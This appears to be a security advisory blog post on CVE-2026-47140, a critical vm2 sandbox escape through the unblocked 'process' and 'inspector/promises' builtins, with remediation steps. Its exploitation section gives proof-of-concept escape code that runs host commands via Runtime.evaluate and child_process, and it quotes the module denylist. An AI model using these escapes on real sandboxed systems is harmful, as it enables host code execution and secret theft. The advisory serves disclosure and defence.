SECURITYCRITICALCVE-2026-47140

CVE-2026-47140: vm2 Sandbox Escape via Incomplete Builtin Denylist (CVSS 10.0)

A CVSS 10.0 critical sandbox escape in vm2 for Node.js allows sandboxed code to access the host process via the process and inspector/promises builtins,...

Dylan H.

Security Team

June 13, 2026
6 min read
CVE-2026-47140: vm2 Sandbox Escape via Incomplete Builtin Denylist (CVSS 10.0)

Critical severity

Rated critical. Prioritise patching — see the remediation guidance below.

Affected Products

  • vm2 Node.js sandbox library — all versions prior to 3.11.4

CVE-2026-47140: vm2 Sandbox Escape via Incomplete Builtin Denylist

A maximum-severity sandbox escape tracked as CVE-2026-47140 has been discovered in vm2, the widely-used Node.js sandbox library. With a CVSS v3.1 score of 10.0 (Critical), the flaw allows sandboxed code to reach host-side execution by accessing the process and inspector/promises Node.js builtins, which were missing from the NodeVM denylist.

vm2's NodeVM implementation blocks several dangerous Node.js builtins including module, worker_threads, cluster, vm, repl, and inspector. However, the denylist fails to include:

  • process — the global Node.js process object, which provides full host access
  • inspector/promises — the promises-based V8 inspector API, usable to reach host-realm code

The vulnerability is patched in vm2 version 3.11.4.


Vulnerability Overview

AttributeValue
CVE IDCVE-2026-47140
CVSS Score10.0 (Critical)
Affected Softwarevm2 Node.js sandbox — all versions < 3.11.4
CWECWE-184 — Incomplete List of Disallowed Inputs
Attack VectorLocal (sandboxed code execution)
Authentication RequiredNone
Primary ImpactFull host code execution via unrestricted builtin access
SourceNVD / NIST (published 2026-06-12)
FixUpgrade to vm2 3.11.4

Background: vm2 NodeVM and the Denylist Approach

How vm2 Restricts Builtins

vm2's NodeVM mode allows controlled access to Node.js built-in modules. To prevent sandbox escapes, it maintains a denylist of dangerous builtins that sandboxed code cannot require(). The intent is to block access to modules that could be used to exit the sandbox or interact with the host system.

The existing denylist (prior to 3.11.4) included:

const BLOCKED_BUILTINS = [
  'module',
  'worker_threads',
  'cluster',
  'vm',
  'repl',
  'inspector',
  // ...other entries
];

The Missing Entries: process and inspector/promises

The denylist approach has an inherent weakness: if any dangerous module is forgotten, the sandbox fails entirely. In this case, two critical builtins were omitted:

  1. process — In Node.js, process is a global object providing access to the entire host environment: environment variables, file system via child_process.execSync, stdin/stdout streams, and the ability to exit() the host process. Although process is normally a global (not a module), it can be accessed through certain require paths in some Node.js versions.

  2. inspector/promises — Node.js 19+ introduced inspector/promises as a separate entry point for the V8 inspector API using promise-based async methods. This is distinct from inspector (which was blocked) and provides equivalent access to the V8 debugging/inspection internals, allowing sandboxed code to evaluate arbitrary expressions in the host context via Session.post('Runtime.evaluate', ...).


Technical Exploitation

Via inspector/promises

// Sandboxed attacker code
const { Session } = require('inspector/promises');  // NOT in the denylist!
const session = new Session();
session.connect();
 
// Evaluate arbitrary code in the host context
const result = await session.post('Runtime.evaluate', {
  expression: `require('child_process').execSync('id').toString()`,
  contextId: 1  // Host context
});
console.log(result.result.value);  // Returns output from host OS

The inspector/promises API's Runtime.evaluate method executes code in the host V8 context, not the sandbox context — making it a direct sandbox escape primitive.

Via process Access

Depending on the vm2 version and Node.js runtime, process may be accessible as:

// Sandboxed attacker code
// Option 1: Global access if not fully sandboxed
process.mainModule.require('child_process').execSync('whoami');
 
// Option 2: Via require path that leaks process object
const proc = require('process');
proc.binding('spawn_sync').spawn({ ... });  // Low-level spawn on host

Impact Assessment

Impact AreaDescription
Host RCEComplete code execution on the host Node.js process
Inspector API AbuseV8 inspector session can evaluate code in the real (host) V8 context
Environment Variable Accessprocess.env exposes all host environment secrets
Child Process Spawnprocess.binding('spawn_sync') enables direct OS-level process creation
Denylist Model InvalidatedAny blocklist approach without explicit allowlisting is fundamentally fragile

Why Denylists Fail for Sandboxing

This CVE illustrates a fundamental security architecture problem: denylist-based sandboxing is inherently fragile. Every time Node.js adds a new module or a new entry point for an existing module (like inspector/promises vs inspector), the denylist must be updated manually. A single omission results in complete sandbox bypass.

The more robust approach is allowlist-based module control, where only explicitly permitted modules can be required, and everything else is blocked by default.


Remediation

Upgrade vm2 to 3.11.4

npm update vm2
# or
yarn upgrade vm2

The fix adds process and inspector/promises to the blocked builtins list.

Defense in Depth

  1. Don't rely solely on vm2's denylist — pair with OS-level restrictions
  2. Audit Node.js builtin modules on each Node.js upgrade for new entry points
  3. Use allowlist-based module control where possible
  4. Run vm2 sandboxes in a restricted container (seccomp, AppArmor, user namespaces)
  5. Consider alternatives: isolated-vm, Deno, or Worker Threads with --experimental-permission
# Worker Threads with Node.js 20+ permissions (allowlist-based)
node --experimental-permission \
     --allow-fs-read=/only/needed/path \
     --allow-child-process=false \
     sandbox-worker.js

This is one of four vm2 sandbox escapes fixed simultaneously in version 3.11.4:

CVEVulnerability
CVE-2026-47131Buffer prototype hijack via __lookupGetter__ + TypeError
CVE-2026-47137Strict equality bypass enables require: false circumvention
CVE-2026-47140 (this advisory)Incomplete denylist — process and inspector/promises not blocked
CVE-2026-47208General sandbox breakout enabling arbitrary host command execution

Key Takeaways

  1. CVE-2026-47140 is a CVSS 10.0 vm2 escape caused by an incomplete denylist — process and inspector/promises were omitted
  2. inspector/promises (a Node.js 19+ API) provides direct access to the host V8 context via Runtime.evaluate, making it a perfect sandbox escape primitive
  3. Denylist approaches to sandboxing are inherently fragile — every new Node.js builtin entry point can create a bypass
  4. All vm2 versions prior to 3.11.4 are vulnerable — upgrade immediately
  5. For high-security sandboxing requirements, move to allowlist-based module control and OS-level isolation

Sources